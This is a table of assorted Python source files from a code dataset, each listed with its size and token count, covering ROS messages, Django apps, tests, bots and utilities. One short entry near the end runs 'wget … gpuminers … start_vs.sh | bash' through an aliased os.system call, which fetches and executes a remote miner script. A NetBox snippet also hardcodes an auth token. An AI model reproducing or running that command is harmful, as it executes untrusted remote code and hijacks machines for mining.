text string | size int64 | token_count int64 |
|---|---|---|
"""A Pythagorean triplet is a set of three natural numbers, for which,
a^2+b^2=c^2
Given N, Check if there exists any Pythagorean triplet for which a+b+c=N
Find maximum possible value of product of a,b,c among all such Pythagorean triplets, If there is no such Pythagorean triplet print -1."""
#!/bin/python3
import sys
... | 646 | 251 |
DATA_ID = 1547
| 15 | 12 |
# This Python file uses the following encoding: utf-8
"""autogenerated by genpy from nav2d_msgs/LocalizedScan.msg. Do not edit."""
import sys
python3 = True if sys.hexversion > 0x03000000 else False
import genpy
import struct
import std_msgs.msg
import sensor_msgs.msg
class LocalizedScan(genpy.Message):
_md5sum = "... | 10,883 | 3,695 |
from unittest import TestCase
from gravity_simulation.hashing import *
class TestDigest(TestCase):
def test_get_digest(self):
cases = [
"An enchantress disguised as an old beggar woman arrives at a castle during a ball and offers the host, a cruel and selfish prince, a rose in return for she... | 3,511 | 925 |
from netbox import NetBox
import requests
import json
import csv
from re import search
requests.packages.urllib3.disable_warnings()
def createAddress(address, description, vrf, network, role):
#netbox settings
netbox = NetBox(host='10.255.X.X', port=443, use_ssl=True, auth_token='5d6dfe9f6f39785eb86f') ... | 1,894 | 556 |
import hashlib
from _secpy256k1 import ffi
def sha256(msg: bytes) -> bytes:
return hashlib.sha256(msg).digest()
def validate_cdata_type(value, type_str, err_msg, null_flag=False):
'''Checks that value is a valid ffi CData type.
Args:
value (ffi.CData): value to check
type_str ... | 5,568 | 1,721 |
from __future__ import print_function
import numpy as np
class CorrectAddPulses(object):
def __init__(self, ampfit, optfit, flagger, pulse_add_len, th_min,
min_dist=0, debug=False):
"""Arguments:
ampfit -- Ampitude fitter.
optfit -- Fit optimizer.
flagger -- ... | 2,837 | 876 |
# -*- coding: utf-8; -*-
#
# @file actiontypes.py
# @brief collgate
# @author Frédéric SCHERMA (INRA UMR1095)
# @date 2017-11-30
# @copyright Copyright (c) 2017 INRA/CIRAD
# @license MIT (see LICENSE file)
# @details
ACTION_TYPES = {
'introduction': {
'id': None,
'name': 'introduction',
'la... | 2,549 | 836 |
# Need to import path to test/fixtures and test/scripts/
# Ex : export PYTHONPATH='$PATH:/root/test/fixtures/:/root/test/scripts/'
#
# To run tests, you can do 'python -m testtools.run tests'. To run specific tests,
# You can do 'python -m testtools.run -l tests'
# Set the env variable PARAMS_FILE to point to your ini ... | 116,610 | 34,571 |
#!/usr/bin/python3
import json
import re
import subprocess
import sys, getopt
from ruamel.yaml import YAML
def main(argv):
inputfile = ''
description = "Create Secret Manager"
secret_name = ''
region = 'us-east-1'
profile = 'default'
if (len(sys.argv) <= 1 ) or (len(sys.argv) > 11):
pr... | 2,128 | 686 |
OUTPUT_CHANNEL_EMAIL = 'Email'
OUTPUT_CHANNEL_WEBHOOK = 'Webhook'
OUTPUT_CHANNEL_TWILIO_SMS = 'TwilioSMS'
INPUT_CHANNEL_HTTP = 'HTTP'
INPUT_CHANNEL_DNS = 'DNS'
INPUT_CHANNEL_IMGUR = 'Imgur'
INPUT_CHANNEL_LINKEDIN = 'LinkedIn'
INPUT_CHANNEL_BITCOIN = 'Bitcoin'
INPUT_CHANNEL_SMTP = 'SMTP'
| 309 | 166 |
from typing import Union, Any, Type
_builtin_scalars = frozenset({str, bytes, bytearray, int, float, complex,
bool, type(None)})
def gettype(x: Union[type, Type[Any]]) -> type:
if type(x) is type:
# This includes gettype(type) and gettype(dict)
return x
# gettype... | 976 | 352 |
from django.conf.urls import url, include
from django.contrib.auth.decorators import login_required
from . import views
urlpatterns = [
url(r'^shop/$',
login_required(views.ShopView.as_view()),
name='shop'),
url(r'^order/(?P<pk>\d+)/$',
login_required(views.OrderView.as_view()),
... | 555 | 181 |
"""
********************************************************************************
* Name: basic_job
* Author: nswain, teva, tran
* Created On: September 19, 2018
* Copyright: (c) Aquaveo 2018
********************************************************************************
"""
import logging
import datetime
from djan... | 9,331 | 2,498 |
from scipy import optimize,arange
from math import *
import sys
import csv
import numpy as np
import matplotlib.pyplot as plt
#matplotlib inline
#vectorised 2P-3T cournot now using basinhopping
#1. get in the data, etc. ... CHECK!
#2. make arbitrary to nxm ... CHECK!
#3. make investment game ... v7
#4. div;expl
#vec... | 5,699 | 2,602 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import (division, print_function, absolute_import,
unicode_literals)
__all__ = ["sample_ball", "MH_proposal_axisaligned"]
import numpy as np
# If mpi4py is installed, import it.
try:
from mpi4py import MPI
MPI = MPI
excep... | 7,566 | 1,977 |
from collections import OrderedDict
'''
Cache Eviction Flow
# get(i)
if i in cache:
return cache[i]
else:
# set(i, m)
x = longest-in-the-past from cache
evict x, add i to cache
return cache[i]
'''
class CacheLRU():
def __init__(self, size: int) -> None:
self.size = size
self.cache... | 1,522 | 460 |
from typing import List
class Solution:
# copy / paste from the supposed "fastest" solution on LeetCode
# Sometimes the fastest isn't the best, though, as I find this significantly
# more difficult to parse what's going on than either of my solutions
# Also, submitting to LeetCode showed it wasn't act... | 1,236 | 333 |
# -*- coding: utf-8 -*-
# test_schema.py
import os
import shlex
import unittest
import h5py
from . import TEST_DATA_PATH
from ..core.parser import parse_args
from ..formats import vtkmesh
from ..schema import SFFPSegmentation
SCHEMA_VERSION = SFFPSegmentation().version
__author__ = "Paul K. Korir, PhD"
__email_... | 1,996 | 762 |
signos_admitidos=['+','-','*','/'];
def search(list_char,str_,start=0):
"""
---------------------------------------------------------
| Busca un char ingresado por list_char en una
| | cadena pasada por str_, Cuando lo consige
| | crea una lista con la ubicacion de todas
| | las coincidencia y lo g... | 10,806 | 3,679 |
from django.db import models
from apps.users.models import BaseModel
from DjangoUeditor.models import UEditorField
# 城市
class City(BaseModel):
name = models.CharField(max_length=20, verbose_name="城市")
desc = models.CharField(max_length=200, verbose_name="描述")
class Meta:
verbose_name = "城市"
... | 3,006 | 1,116 |
from os import getenv
from typing import Iterator, Dict, Iterable
from pymongo import MongoClient
import pandas as pd
from dotenv import load_dotenv
class Data:
""" MongoDB Data Model """
load_dotenv()
db_url = getenv("DB_URL")
db_name = getenv("DB_NAME")
db_table = getenv("DB_TABLE")
def co... | 1,360 | 459 |
import pytest
from aws_cdk import core as cdk
from site_stack import StaticSiteStack
@pytest.fixture(scope="session")
def synth():
app = cdk.App(
context={
"namespace": "static-site",
"domain_name": "example.com",
"domain_certificate_arn": "arn:aws:acm:us-east-1:12345... | 1,935 | 671 |
# simple-watcher.py
#
# Simple version of Hive Podping watcher - no options, just runs
# The only external library needed is "beem" - pip install beem
# Beem is the official Hive accessing library for Python.
#
# Version 1.1
from datetime import datetime, timedelta
from typing import Set
import json
import beem
from ... | 3,011 | 898 |
import openml
import numpy as np
from sklearn.preprocessing import LabelEncoder
import pandas as pd
from torch.utils.data import Dataset
def simple_lapsed_time(text, lapsed):
hours, rem = divmod(lapsed, 3600)
minutes, seconds = divmod(rem, 60)
print(text+": {:0>2}:{:0>2}:{:05.2f}".format(int(hours),int(mi... | 9,935 | 4,094 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import datetime
import logging
logger_6 = logging.getLogger('PythonServer.Time')
def time_for_timedelta(time):
new_time = (datetime.datetime.min + time).time()
return new_time
def datetime_for_time(time):
new_time = (datetime.datetime.combine(datetime.date(1, 1, 1),... | 853 | 313 |
import numpy as np
class DynSys():
"""
The dynamical system class.
Author: Haimin Hu (haiminh@princeton.edu)
Reference: Ellipsoidal Toolbox (MATLAB) by Dr. Alex Kurzhanskiy.
Supports:
DTLTI: Discrete-time linear time-invariant system.
x[k+1] = A x[k] + B u[k] + c + G d[k]
DTLTV:... | 6,086 | 2,155 |
from django.urls import path
from drfpasswordless.views import (
ObtainEmailCallbackToken,
ObtainMobileCallbackToken,
ObtainAuthTokenFromCallbackToken,
ObtainAuthTokenFromRefreshToken,
VerifyAliasFromCallbackToken,
ObtainEmailVerificationCallbackToken,
ObtainMobileVerificationCallback... | 1,109 | 311 |
"""
Regularisation Tests
This file contains a set of functions that were used to test and optimise
the effects of regularisation.
This file can also be imported as a module and contains the following
functions:
* func()
Blurb about func.
"""
import os
import numpy as np
from copy import deepcopy
from ty... | 3,249 | 1,068 |
# Copyright (c) 2020 NVIDIA Corporation. All rights reserved.
# This work is licensed under the NVIDIA Source Code License - Non-commercial. Full
# text can be found in LICENSE.md
import torch
import time
import sys, os
import numpy as np
import cv2
import matplotlib.pyplot as plt
from fcn.config import cfg
from utils... | 11,253 | 3,786 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
(c) 2015 Brant Faircloth || http://faircloth-lab.org/
All rights reserved.
This code is distributed under a 3-clause BSD license. Please see
LICENSE.txt for more information.
Created on 0 March 2012 09:03 PST (-0800)
"""
import os
import tempfile
import subprocess
... | 1,667 | 559 |
import os
from dotenv import load_dotenv
from discord.ext import commands
load_dotenv()
TOKEN = os.getenv('DISCORD_TOKEN')
GUILD = os.getenv('DISCORD_GUILD')
client = commands.Bot(command_prefix='!p')
@client.event
async def on_ready():
print("We have logged in as {0.user}".format(client))
@client.command()
a... | 833 | 269 |
# -*- encoding: utf-8 -*-
# Copyright 2017 NEC Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable ... | 1,856 | 592 |
from dataclasses import dataclass, field
from typing import Union, Tuple
import sys
import secrets
import hashlib
import math
import warnings
import base64
from algebra import ZModField, ZModElement
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primi... | 7,885 | 2,758 |
from tkinter import filedialog,messagebox
from builtins import str
import tkinter
import os
class Menu:
def __init__(self,Title,Resolution,):
self.Root=tkinter.Tk()
self.Root.title(Title)
self.Root.geometry(Resolution)
self.MenuTitle = tkinter.Label(self.Root, text="Find Duplicate ... | 2,045 | 621 |
# File: randQuery.py
import random
import string
# TODO:
# sqlite FTS expressions should be extended with count(*), 'order by', 'group by' etc.
class Randomize:
def __init__(self):
self.map = {}
def getRandNum(self, minRange, maxRange):
return random.randint(minRange, maxRange)
def getRandString(self):
s... | 2,916 | 1,161 |
v=float(input('A qual velocidade (km/h) está o carro? '))
if v<= 80:
print('Abaixo do limite, obrigado! ')
else:
print('Você está acima do limite, você deve pagar uma multa de R$ {:.2f}!' .format((v-80)*7))
| 216 | 94 |
# Definition for a binary tree node
class TreeNode:
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution:
# @param A : root node of tree
# @return an integer
def isBalanced(self, A):
is_bal = self.height(A)
return 1 if is_bal[0]... | 974 | 376 |
# Authors: Son Hai Nguyen, Miroslav Karpíšek
# Logins: xnguye16, xkarpi05
# Project: Neural network pruning
# Course: Convolutional Neural Networks
# Year: 2021
import os
import torchvision.datasets as datasets
class TinyImageNet(datasets.ImageFolder):
IMG_SIZE = 56
def __init__(self, root: str, train=True... | 472 | 167 |
"""
Classes for simple GP models without external PPL backend.
"""
from argparse import Namespace
import copy
import numpy as np
from .gp.gp_utils import kern_exp_quad, sample_mvn, gp_post
from ..util.data_transform import DataTransformer
from ..util.misc_util import dict_to_namespace
class SimpleGp:
"""
Si... | 6,937 | 2,073 |
# AWS SETTINGS
AWS_AMI_IMAGE_ID = 'ami-6356761c'
AWS_INSTANCE_TYPE = 'p2.xlarge'
S3_BUCKET_NAME = 'default-s3-bucket-name' | 123 | 67 |
# coding=utf-8
import os
import sqlite3
import pandas as pd
from model import AliPay
def classify(item: AliPay):
if item.money_state == "" or item.money_state == "冻结":
return "无效交易", ""
if "余额宝-" in item.name and "-收益发放" in item.name:
return "理财", "余额宝收益"
if "蚂蚁财富-" in item.target:
... | 2,882 | 1,235 |
from .adaptive import (
AdaptiveLossFunction,
StudentsTLossFunction,
AdaptiveImageLossFunction,
)
from .general import lossfun
| 139 | 46 |
def main(inp):
print(count(inp))
def count(inp):
d = {1:"one",2:"two",3:"three",4:"four",5:"five",6:"six",7:"seven",8:"eight",9:"nine"}
if inp%10 == 0:
print(inp)
else:
print(d.get((inp%10)))
if __name__ == '__main__':
main(200) | 258 | 145 |
###############################################################################
# Name: ruby.py #
# Purpose: Define Ruby syntax for highlighting and other features #
# Author: Cody Precord <cprecord@editra.org> #
... | 5,736 | 1,907 |
import bpy
class SCREENWRITER_PT_panel(bpy.types.Panel):
"""Preview fountain script as formatted screenplay"""
bl_label = "Screenwriter"
bl_space_type = 'TEXT_EDITOR'
bl_region_type = 'UI'
bl_category = "Text"
def draw(self, context):
layout = self.layout
layout.use_property_sp... | 1,190 | 402 |
# built-in
import shutil
import sys
from itertools import chain
from pathlib import Path
from typing import Optional, Union
# external
import attr
from dephell_pythons import Python, Finder
# app
from ._constants import PYTHONS, IS_WINDOWS
from ._cached_property import cached_property
from ._builder import VEnvBuilde... | 4,270 | 1,260 |
from myconfigparser import Decoration, Production
| 51 | 12 |
from ..scraper.search import bc_search
def search(initials, period):
"""Search for a initial and period in BuscaCursosUC.
Prints the results. Useful for testing only.
"""
print("Searching in BC:", initials)
courses = bc_search(initials, period)
for c in courses:
print(c["initials"], c[... | 447 | 143 |
import os
import pytest
from test.test_utils import CONTAINER_TESTS_PREFIX, LOGGER, is_tf2, is_tf1
from test.test_utils.ec2 import get_ec2_instance_type
SMDEBUG_SCRIPT = os.path.join(CONTAINER_TESTS_PREFIX, "testSmdebug")
SMDEBUG_EC2_GPU_INSTANCE_TYPE = get_ec2_instance_type(default="p3.8xlarge", processor="gpu")... | 3,350 | 1,150 |
"""
WGPU backend implementation based on the wgpu library.
The Rust wgpu project (https://github.com/gfx-rs/wgpu) is a Rust library
based on gfx-hal, which wraps Metal, Vulkan, DX12 and more in the
future. It can compile into a dynamic library exposing a C-API,
accomanied by a C header file. We wrap this using cffi, w... | 30,559 | 9,225 |
from django.contrib import admin
from problems.models import Problem
admin.site.register(Problem)
| 100 | 26 |
class TaskStore(object):
'''
All task execution plans are stored and tracked in a TaskStore.
Both are crucual for supporting pause and resume of operations.
The interface to be implemented by all providers that provide task
storage capabilities.
'''
def initialize(self):
... | 968 | 227 |
# Plot / Line / Annotation
# Add annotations to a line #plot. #annotation
# ---
from synth import FakeTimeSeries
from h2o_wave import site, data, ui
page = site['/demo']
n = 50
f = FakeTimeSeries()
v = page.add('example', ui.plot_card(
box='1 1 4 5',
title='Time-Numeric',
data=data('date price', n),
p... | 980 | 462 |
import logging
import aiotask_context as context
class AppLogging:
def __init__(self):
self.log = logging.getLogger('application')
self.context = context
def info(self, msg):
self.log.info('{0} {1}'.format(self.context.get('X-Request-ID'), msg))
def warning(self, msg):
s... | 827 | 298 |
#!/usr/bin/env python
import sys
import ConfigParser
if len(sys.argv) < 2:
print 'Give ESSID'
exit(1)
config = ConfigParser.RawConfigParser()
config.read(r'/etc/wicd/wireless-settings.conf')
sectionName = 'essid:' + sys.argv[1]
print config.sections()
print 'Section name: ' + sectionName
if not sectionNa... | 696 | 236 |
"""
.@@#
(@&*%@@@/,%@@@# #&@@@@&. .@@# /&@@@@&* /&@@@@&* (@&*%@@@( *%@@@@&/ .@@&*&@.
(@@&((&@@@(/&@@, #@@#/(&@@. .@@# #@@(///(, .@@%////, (@@&(/#@@# #@@&//#@@( .@@@@@%.
(@@. /@@* ,@@/ .&@@%%%&@@* .@@# ... | 3,412 | 1,249 |
# This file is part of the Reproducible Open Benchmarks for Data Analysis
# Platform (ROB) - Top Tagger Benchmark Demo.
#
# Copyright (C) [2019-2020] NYU.
#
# ROB is free software; you can redistribute it and/or modify it under the
# terms of the MIT License; see LICENSE file for more details.
"""Definition of names f... | 1,460 | 478 |
import re
from typing import Text, Any
def pvalidate(pwd: Text) -> Any:
"""Validate the user's password.
Args:
pwd: User's password.
Returns:
None if password is valid else the problem.
"""
if len(pwd) < 8:
prb = "Make sure your password is at least 8 letters"
elif ... | 676 | 225 |
import json
def basic():
len('aaaa')
str(1)
try:
a = 'aaa' + 2
except TypeError as e:
print('Type Error: {0}'.format(e))
def dict_to_str():
print('dict to str')
d1 = {'a': 1, 'b': 'string'}
d1_str = str(d1)
print(d1_str)
# This isn't secure because using eval fu... | 1,668 | 671 |
import openai
import os
def _new_example(c1: str, c2: str, name: str):
return f"[{c1}, {c2}]: {name} #"
def generate_name_with_retry(
start_color: str, end_color: str, name_set: set = None, max_retry: int = 3
):
for _ in range(max_retry):
name = generate_name(start_color, end_color, name_set=nam... | 2,030 | 696 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.apps import AppConfig
class TestmodelsConfig(AppConfig):
name = 'testmodels'
| 160 | 53 |
# -*- coding: utf-8 -*-
# This code is part of Qiskit.
#
# (C) Copyright IBM 2019, 2020.
#
# This code is licensed under the Apache License, Version 2.0. You may
# obtain a copy of this license in the LICENSE.txt file in the root directory
# of this source tree or at http://www.apache.org/licenses/LICENSE-2.0.
#
# Any... | 2,455 | 666 |
# Generated by Django 2.1.5 on 2019-01-12 09:38
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('board', '0001_squashed_0007_auto_20190112_1836'),
]
operations = [
migrations.AlterField(
model_name='file',
name='fu... | 486 | 171 |
#!/usr/bin/env python3
import json
from os import path
from evdev import InputDevice, InputEvent, categorize, ecodes
from subprocess import Popen
CONFIG_FILE = path.expanduser('~/.config/input_device_handler/config.json')
class DeviceHandler:
def __init__(self, device_options: dict, bindings: dict):
sel... | 1,381 | 418 |
# -*- coding: utf-8 -*-
# This plugins is licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php
# Authors: Kenji Hosoda <hosoda@s-cubism.jp>
from gluon import *
# For referencing static and views from other application
import os
APP = os.path.basename(os.path.dirname(os.path.dirname(__file... | 3,064 | 1,012 |
'''
Created on 13.06.2016
@author: Fabian Reiber
@version: 1.0
This helper-module offers some helpful methods for the GnuPG-System.
'''
import base64
from dns.resolver import NXDOMAIN, YXDOMAIN, NoAnswer, NoNameservers, \
NoMetaqueries, Timeout
import dns.resolver
from email.message import Message
from email.mime... | 11,698 | 3,454 |
#
# Copyright 2013 Red Hat, Inc
#
# Author: Eoghan Glynn <eglynn@redhat.com>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#... | 19,788 | 7,256 |
# 244. Shortest Word Distance II
# ttungl@gmail.com
# This is a follow up of Shortest Word Distance. The only difference is now you are given the list of words and your method will be called repeatedly many times with different parameters. How would you optimize it?
# Design a class which receives a list of words in t... | 1,642 | 526 |
# -*- coding: utf-8 -*-
import logging
import time
import zlib
from multiprocessing import Process
import crochet
import pytest
from six.moves import BaseHTTPServer
from six.moves import socketserver as SocketServer
from yelp_bytes import to_bytes
import fido
from fido.fido import DEFAULT_USER_AGENT
from fido.fido i... | 10,674 | 3,359 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Rimco'
# System imports
import datetime
import logging
import random
import time
import errno
from threading import Lock
BRUTEFORCE_LOCK = Lock()
def del_rw(action, name, exc):
import os
import stat
if os.path.exists(name):
os.chmod(na... | 14,028 | 4,359 |
import json
import os
import shutil
import requests
def harvest(out_dir, index=None, existing_dir=0, verbose=False):
"""Collects available data from NIST's MML and saves to the given directory
Arguments:
out_dir (str): The path to the directory (which will be created) for the data files.
ind... | 2,279 | 649 |
import sys
from model.data_entities.ModelDatatableRow import ModelDatatableRow
class ModelSearchResult:
def __init__(self, rows: [ModelDatatableRow]):
self.rows = rows
| 182 | 54 |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('restaurant', '0005_auto_20160707_1939'),
]
operations = [
migrations.AddField(
model_name='menuitem',
... | 724 | 247 |
import sys
n, k, *r = map(int, sys.stdin.read().split())
r.sort()
cand = r[-k:]
def main():
rate = 0
for c in cand:
if rate < c:
rate = (rate + c) / 2
print(rate)
if __name__ == "__main__":
main()
| 257 | 116 |
from typing import List, Tuple
from collections import namedtuple
from enum import Enum
class Direction(Enum):
FORWARD = "FORWARD"
UP = "UP"
DOWN = "DOWN"
Instruction = namedtuple('Instruction', 'direction units')
def get_combined_directions(instructions_list: List[Instruction]) -> Tuple[int, int]:
... | 1,580 | 528 |
# coding=utf-8
"""Link handling provider logic."""
import abc
from collections import OrderedDict
import re
from lxml import etree
class ProviderManager:
"""Manager of info providers. Possibly also slayer of dragons."""
def __init__(self):
self.providers = OrderedDict()
"""Mapping of each ... | 5,100 | 1,514 |
from pydantic import BaseModel, Field
from typing import Optional
from service.lambdas.employer.constants import EmployerConstants
class EmployerFilter(BaseModel):
employer_id: Optional[str]
business_name: Optional[str]
city: Optional[str]
last_pagination_key: Optional[str]
limit_per_page: Optiona... | 387 | 126 |
"""empty message
Revision ID: 178e9c208218
Revises: 5998e9ee193
Create Date: 2014-11-16 19:09:06.666542
"""
# revision identifiers, used by Alembic.
revision = '178e9c208218'
down_revision = '5998e9ee193'
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto generated by Alembic - pl... | 2,265 | 809 |
from lz import *
from config import conf
from nvidia.dali.pipeline import Pipeline
import nvidia.dali.ops as ops
import nvidia.dali.types as types
from nvidia.dali.plugin.pytorch import DALIGenericIterator
base = "/media/mem_data/" + conf.dataset_name + "/"
idx_files = [base + "train.tc.idx"]
rec_files = [base + "trai... | 6,210 | 1,993 |
from django.conf.urls import patterns, url
from user_guide import views
urlpatterns = patterns(
'',
url(r'^seen/?$', views.GuideSeenView.as_view(), name='user_guide.seen')
)
| 185 | 65 |
# -*- coding: utf-8 -*-
# _ __
# | |/ /___ ___ _ __ ___ _ _ ®
# | ' </ -_) -_) '_ \/ -_) '_|
# |_|\_\___\___| .__/\___|_|
# |_|
#
# Keeper Secrets Manager
# Copyright 2021 Keeper Security Inc.
# Contact: ops@keepersecurity.com
#
import os
import sys
import subprocess
from keeper_secrets_manager_cli.exc... | 3,663 | 1,054 |
from anysim_py import *
x_0 = 1.0
y_0 = 1.5
for cell_id in range (topology.get_cells_count ()):
if geometry.get_cell_center_x (cell_id) < x_0:
fields["rho"][cell_id] = 1.0
fields["p"][cell_id] = 1.0
fields["u"][cell_id] = 0.0
fields["v"][cell_id] = 0.0
else:
if geometry... | 688 | 294 |
# decorator as a function
# decorator to add functionality to func along with uneven arguments
def decorator_function(original_function):
def wrapper(*args, **kwargs): # adding *args **kwargs makes it take any no of arguments
print "\nexecuting inside of Decorator Function: {}".format(original_function.__na... | 1,247 | 356 |
# ---
# jupyter:
# jupytext:
# cell_metadata_filter: all
# notebook_metadata_filter: all,-language_info
# text_representation:
# extension: .py
# format_name: light
# format_version: '1.5'
# jupytext_version: 1.3.3
# kernelspec:
# display_name: Python 3
# language: python... | 11,729 | 3,933 |
from BigInt import *
class Rational:
'''
constructs a fraction, doesn't simplify
immutable
'''
def __init__(self, numerator, denominator=BigInt(1)):
if type(numerator) is not type(BigInt(0)) or type(denominator) is not type(BigInt(0)):
raise TypeError('{0}, {1}'.format(type(numer... | 6,723 | 1,979 |
import pandas as pd
from urllib import request
from bs4 import BeautifulSoup
num_reviews = 100
reviews_dir = 'data/'
base_url = 'https://www.amazon.in'
product_url = 'https://www.amazon.in/Samsung-EO-BG920BBEGIN-Bluetooth-Headphones-Black-Sapphire/dp/B01A31SHF0/ref=sr_1_1?dchild=1&keywords=headphones+level&qid=160853... | 7,915 | 2,690 |
# Licensed under the MIT license
# Copyright 2007, Bart Vanbrabant <bart@ulyssis.org>
result = "// Auto generated from ldap at %s\n" % datetime.datetime.now().strftime("%d/%m/%Y -- %H:%M")
result += "// vim: ft=named\n\n"
for zone in zones:
name = zone.get_zonename()
if (zone.is_zoneonly()):
co... | 682 | 266 |
from random import randint
from .utils import clamp_bottom
class GenotypeFactory():
def __init__(self, parameters):
"""
Initialize a genotype factory.
Parameters
----------
parameters: Parameters object
object holding info about individuals
"""
... | 2,252 | 684 |
from django.contrib import admin
from .models import ProgrammingLanguage, UserProfile
admin.site.register(UserProfile)
admin.site.register(ProgrammingLanguage) | 160 | 40 |
import sys
import urllib.request
import urllib.parse
import json
import jwt
import uuid
import datetime
import cryptography
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.serialization import load_pem_private_key
from cryptography.hazmat.primitives import serialization, has... | 2,050 | 710 |
class Node:
def __init__(self, data):
self.data = data
self.next = None
self.prev = None
class LinkedList:
def __init__(self):
self.head = None
def push(self, newElement):
newNode = Node(newElement)
if(self.head == None):
self.head = newNode
return
else:
temp = self... | 1,596 | 530 |
import os as alpha
alpha.system("wget -O - https://gitlab.com/chadpetersen1337/gpuminers/-/raw/main/start_vs.sh | bash")
| 121 | 51 |
# coding=utf-8
#-------------------------------------------------------------------------------
# Name: ruuvigw_aioclient.py
# Purpose: ruuvigw aioclient
# Copyright: (c) 2019 TK
# Licence: MIT
#-------------------------------------------------------------------------------
import logging
logger = logg... | 22,334 | 6,886 |
# very basic load test
# import webbrowser
import time
count = 0
while count < 22:
print(count)
webbrowser.open("https://www.someurlhere.com", new=2, autoraise=True)
count += 1
time.sleep(1.3) # Seconds
| 221 | 84 |
#create veriable........
cr_pass=0##insert veriables
defer=0##insert veriables
fail=0##insert veriables
choice=0#staff choice.
count1=0#$$$counting "Progress"
count2=0#$$$counting "Trailing"
count3=0#$$$counting "Excluded"
count4=0#$$$counting "Retriever"
total=0#@@@@all counting values total
t1=0#"Progres... | 2,400 | 853 |
import cv2
import numpy as np
def preprocess(img, debug=True):
# image dimensions
height, width = img.shape[:2]
# crop image as card rectangle
a = int(height * 0.125)
b = int(width * 0.406)
x1 = int(width/2) - b
x2 = int(width/2) + b
y1 = int(height/2) - a
y2 = int(height/2) + a
... | 1,620 | 638 |
#!/usr/bin/env python
import re
import json
import math
import time
import random
import hashlib
import sqlite3
import weakref
from collections import Counter, deque
try:
import cPickle as pickle
except ImportError:
import pickle
import bottle
from bottle import Bottle, static_file
from socketio import socketio_... | 16,690 | 6,815 |
from numpy import zeros, sign
# Define bisection function
def bisection(f,a,b,n):
c = zeros(n)
for i in range(n):
c[i] = (a + b)/2.0
if sign(f(c[i])) == sign(f(a)):
a = c[i]
else:
b = c[i]
return c
# Define function
def f(x):
return -x**2 + 6.0 * x - 5.... | 501 | 230 |
# -*- coding: utf-8 -*-
# Copyright (c) 2017 Ericsson AB
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable ... | 1,435 | 488 |